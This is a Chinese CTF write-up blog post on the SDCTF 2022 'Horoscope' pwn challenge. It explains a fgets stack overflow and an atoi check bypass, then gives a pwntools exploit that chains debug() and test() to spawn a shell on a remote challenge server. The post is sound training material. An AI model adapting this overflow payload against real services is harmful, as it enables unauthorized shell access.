首页 > 其他分享 >【pwn】[SDCTF 2022]Horoscope--栈溢出,atoi函数绕过

【pwn】[SDCTF 2022]Horoscope--栈溢出,atoi函数绕过

时间:2023-10-28 11:24:55浏览次数:36  
标签:函数 temp Horoscope -- test int atoi debug

checksec检查一下,发现只开了nx,然后ida打开直接看主函数

发现fgets函数往s里面读入320个字节的数据,此处可造成溢出,再看看test和debug函数

void debug()
{
  temp = 1;
}

 

int test()
{
  int result; // eax

  result = temp;
  if ( temp == 1 )
    return system("/bin/sh");
  return result;
}

test函数可getshell,temp的值可通过调用debug函数赋值

再查看主函数下面那个processInput函数

这里主要的是这个atoi函数,他是将字符串转成有符号的整数,例子如下:

#include <stdio.h>
#include <stdlib.h>

int main() {
    char str1[] = "123";
    char str2[] = "-456";
    char str3[] = "789abc";

    int num1 = atoi(str1);
    int num2 = atoi(str2);
    int num3 = atoi(str3);

    printf("num1 = %d\n", num1);
    printf("num2 = %d\n", num2);
    printf("num3 = %d\n", num3);

    return 0;
}     输出结果如下:

num1 = 123
num2 = -456
num3 = 789

所以这里我们只需要将溢出的数据,第一个字符设置成1-9就可以绕过,成功放回,而不会执行default里面的语句

exp:

from pwn import * context(os='linux',arch='amd64',log_level='debug') io = remote("node5.anna.nssctf.cn",28837) elf=ELF("./pwn") test=elf.sym["test"] debug=elf.sym["debug"] payload=b'1'+b'a'*(0x30-0x1)+b'a'*(0x8)+p64(debug)+p64(test)
io.recvuntil(b"we will have your very own horoscope\n") io.sendline(payload)
io.interactive()

 

标签:函数,temp,Horoscope,--,test,int,atoi,debug
From: https://www.cnblogs.com/GGbomb/p/17793835.html

相关文章

  • Tita 升级|「OKR」支持设置企业默认可见范围
    升级详情Tita-OKR和新绩效一体化管理平台一、企业默认目标可见范围 1.OKR创建过程忘记修改可见范围可能导致输据泄露,现在企业可设置自己偏好的目标可见范围管理员可在企业管理规定>OKR规定>目标默认可见范围中进行设置2.开启后有什么影响创建目标时,会与企业设置的......
  • FreeSWITCH添加自定义endpoint之api及app开发
    操作系统:CentOS7.6_x64FreeSWITCH版本:1.10.9之前写过FreeSWITCH添加自定义endpoint的文章,今天整理下api及app开发的笔记。历史文章可参考如下链接:FreeSWITCH添加自定义endpointFreeSWITCH添加自定义endpoint之媒体交互一、常用函数介绍这里列举下开发过程中常用的函数。1......
  • 串口占用检测工具
    串口占用检测工具平时需要检测哪个程序占用了串口,下面介绍一款非常方便的工具,它的工具箱里包含一个串口占用检测工具,可以非常方便的检测出来哪个程序占用了串口,并给出程序名和PID。官网下载地址:http://www.redisant.cn/mse......
  • 什么是 Angular 应用的 rerender 机制
    我们在某些Angular应用的angular.json文件里,能看到下面的代码:prerender":{"builder":"@nguniversal/builders:prerender","options":{"routes":["/"]}}首先,让我们来理解上述代码的作用。......
  • javaweb--多表查询
    多表查询:从多张表中查询数据内连接:相当于查询A、B两张表的交集隐式连接:selectt1.name,t1.id,t2.dnamefromepmt1,deptt2whereepm.name=dept.id外连接:左外连接是查找A表所有数据和AB表的交集select*fromt1joint2ont1.id=t2.id左外连接是查找B表所有数据和AB表的......
  • 什么是 Angular Pre-built libraries
    首先,Angular是一个非常强大的前端框架,由Google维护,用于构建复杂、大型的单页应用。它支持双向数据绑定、依赖注入、模块化以及类型检查等特性,可帮助开发者更好地管理代码和提高开发效率。然而,尽管Angular本身已经非常强大,但在实际开发过程中,我们可能还需要一些额外的功能或......
  • Angular 动态导入和懒加载的深入介绍
    动态导入,这是一种用于实现懒加载和代码分割的技术,但需要注意的是,它只能在主应用程序中使用。在现代的前端开发中,性能和用户体验一直是至关重要的考虑因素。随着应用程序变得越来越复杂,加载时间的优化变得尤为关键。动态导入是一项强大的技术,可以帮助我们在Angular应用程序中实现......
  • C#详解-Contains、StartsWith、EndsWith、Indexof、lastdexof 怎样性能最优
    简介:在C#中Contains、StarsWith和EndWith、IndexOf都是字符串函数。1.Contains函数用于判断一个字符串是否包含指定的子字符串,返回一个布尔值(True或False)。2.StartsWith函数用于判断一个字符串是否以指定的子字符串开头,返回一个布尔值(True或False)。3.EndsWith函数用于判断一个字......
  • AHB-SRAMC Design-03
    SRAMCSRAMCORE8块memory进行广播信号,例化8片memory......
  • PAT_B1008 数组元素循环右移问题
    一个数组A中存有N(>0)个整数,在不允许使用另外数组的前提下,将每个整数循环向右移M(≥0)个位置,即将A中的数据由(A0​A1​⋯AN−1​)变换为(AN−M​⋯AN−1​A0​A1​⋯AN−M−1​)(最后M个数循环移至最前面的M个位置)。如果需要考虑程序移动数据的次数尽量少,要如何设计移动的方法?输入格式:每......